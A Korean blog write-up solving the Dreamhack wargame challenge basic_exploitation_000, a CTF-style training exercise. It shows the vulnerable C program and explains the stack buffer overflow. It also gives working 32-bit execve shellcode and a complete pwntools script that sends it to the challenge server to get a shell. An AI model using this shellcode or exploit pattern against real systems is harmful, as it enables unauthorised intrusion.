https://dreamhack.io/wargame/challenges/2/
basic_exploitation_000
Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "fla
dreamhack.io
문제 파일을 다운 받으면 basic_exploitation_000.c와 실행 파일이 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
1. 0x80 크기의 buf를 선언
2. intialize 함수 호출 (30초 후 실행 종료)
3. buf의 주소 출력
4. scanf("%141s", buf);를 통해 입력받기
0x80보다 더 큰 문자열을 입력할 수 있으므로 bof를 일으킬 수 있다!
스택은 buf - SFP - RET으로 이루어져 있으며, 이 문제의 경우 문제 파일이 32비트 체계로 RBP의 크기는 4바이트이다. 따라서 buf와 RET 사이의 크기는 0x84이다.
scanf의 경우 26바이트 셸코드를 사용해야 한다고 한다.
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
따라서 26바이트 셸코드 + 106바이트 쓰레기값 + 버퍼의 주소
순으로 입력해 주면 권한을 얻을 수 있다.
그대로 pwntools를 이용해 코드를 짜 보면 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games", 15699)
p.recvuntil("(")
buf = int(p.recv(10), 16)
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"a"*106
payload += p32(buf)
p.sendline(payload)
p.interactive()
1. pwntools의 remote 함수를 통해 문제 접속
2. 버퍼의 주소가 ( 다음에 오므로 (까지 기다리기
3. 버퍼의 주소 받아오기
4. 페이로드에 셸코드 + 106바이트 쓰레기값 + 버퍼 주소 저장 후 보내기
그러면 다음과 같이 권한을 얻어 플래그를 얻을 수 있다.
'드림핵 워게임' 카테고리의 다른 글
[드림핵/워게임] simple_sqli (0) | 2023.08.03 |
---|---|
[드림핵/워게임] basic_exploitation_001 (0) | 2023.07.30 |
[드림핵/워게임] Return Address Overwrite (0) | 2023.07.30 |
[드림핵/워게임] csrf-2 write-up (0) | 2023.07.19 |
[드림핵/워게임] csrf-1 write-up (0) | 2023.07.19 |